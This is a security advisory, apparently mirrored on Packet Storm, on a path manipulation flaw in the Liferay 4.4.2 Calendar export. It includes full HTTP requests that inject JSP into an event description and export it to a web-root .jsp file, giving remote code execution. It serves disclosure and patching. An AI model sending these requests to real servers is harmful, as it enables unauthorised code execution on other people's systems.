exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Liferay Calendar exportFileName Path Manipulation

Liferay Calendar exportFileName Path Manipulation
Posted Aug 13, 2010
Authored by Stefano Di Paola | Site mindedsecurity.com

Liferay Calendar suffers from an exportFileName path manipulation vulnerability that allows for arbitrary JSP execution.

tags | exploit, arbitrary
SHA-256 | 364ef10eb3fb5346794a9da1561ef77a228dcdd72f907d0ae2256c91da27a284

Liferay Calendar exportFileName Path Manipulation

Change Mirror Download
Minded Security Labs: Advisory #MSA261009
Liferay Calendar "exportFileName" path manipulation

Tested Versions:
Liferay Enterprise Portal 4.4.2, other versions may also be affected.


Minded Security ReferenceID:
MSA261009


Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com


Reference:
http://issues.liferay.com/browse/LPS-9556


Severity:
High: it is possible to execute code remotely


Solution:
Upgrade to the latest version.


Summary

Minded Security Consultants discovered during a penetration testing activity that
any poweruser can access his Liferay Calendar module and insert a new event and
that he can enter arbitrary JSP code inside the event description.


Analysis

Any poweruser can access his Liferay Calendar module and insert a new event.

It is possible to enter arbitrary JSP code <%="Code Execution"%> inside the
description, as it is possible to see in the body of the following POST request:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=maximized&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fedit_event HTTP/1.1 _8_cmd=add&_8_redirect=%2Fuser%2Fpoweruser%2F1%3Fp_p_id%3D8%26p_p_action
%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_8_struts_action
%3D%252Fcalendar%252Fview%26_8_month%3D4%26_8_day%3D27%26_8_year
%3D2010%26tabs1%3Devents&_8_eventId=0&_8_tabs1TabsScroll=
&_8_startDateMonth=4&_8_startDateDay=27&_8_startDateYear=2010
&_8_startDateHour=10&_8_startDateMinute=30&_8_startDateAmPm=0
&_8_durationHour=1&_8_durationMinute=00&_8_allDay=false
&_8_timeZoneSensitive=true&_8_timeZoneSensitiveCheckbox=on
&_8_title=New+Event&_8_description=%3C%25%3D%22Code+Execution%22%25%3E
&_8_type=anniversary&_8_communityPermissions=VIEW&_8_guestPermissions=VIEW
&_8_inputPermissionsShowConfigure=false&_8_inputPermissionsShowMore=false
&_8_tabs1TabsScroll=&_8_recurrenceType=7&_8_dailyType=0&_8_dailyInterval=1
&_8_weeklyInterval=1&_8_monthlyType=0&_8_monthlyDay0=15
&_8_monthlyInterval0=1&_8_monthlyPos=1&_8_monthlyDay1=1
&_8_monthlyInterval1=1&_8_yearlyType=0&_8_yearlyMonth0=0&_8_yearlyDay0=15
&_8_yearlyInterval0=1&_8_yearlyPos=1&_8_yearlyDay1=1&_8_yearlyMonth1=0
&_8_yearlyInterval1=1&_8_endDateType=0&_8_endDateMonth=4&_8_endDateDay=27
&_8_endDateYear=2011&_8_endDateHour=10&_8_endDateMinute=21&_8_endDateAmPm=0
&_8_tabs1TabsScroll=&_8_firstReminder=900000&_8_secondReminder=300000
&_8_remindBy=email


Now he can export his event list to an arbitrary file. Specifying an arbitrary
filename in the ROOT path of the liferay application (ex: webapps/ROOT/l.jsp)
liferay portal will create a file with jsp extension:

POST /user/poweruser/1?p_p_id=8&p_p_action=1&p_p_state=exclusive&
p_p_mode=view&_8_struts_action=%2Fcalendar%2Fexport_events HTTP/1.1 _8_tabs1TabsScroll=&_8_tabs1TabsScroll=
&exportFileName=../webapps/ROOT/l.jsp&_8_tabs1TabsScroll=&_8_importFile=



The name of the new file created will be specified in the response:

HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: public Pragma: public Content-Disposition: attachment; filename="l11661.jsp" Content-Type: text/html;charset=UTF-8 Date: Thu, 27 May 2010 10:22:11 GMT Content-Length: 326


Now the malicious Power User can execute the previous code simply by requesting
the file named "l11661.jsp".


Disclosure Timeline

26/10/09 Issue found
12/05/10 Reported to Vendor


Disclaimer


The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information.

Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com
for permission.



Copyright (c) 2010 Minded Security, S.r.l..

All rights reserved worldwide.



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close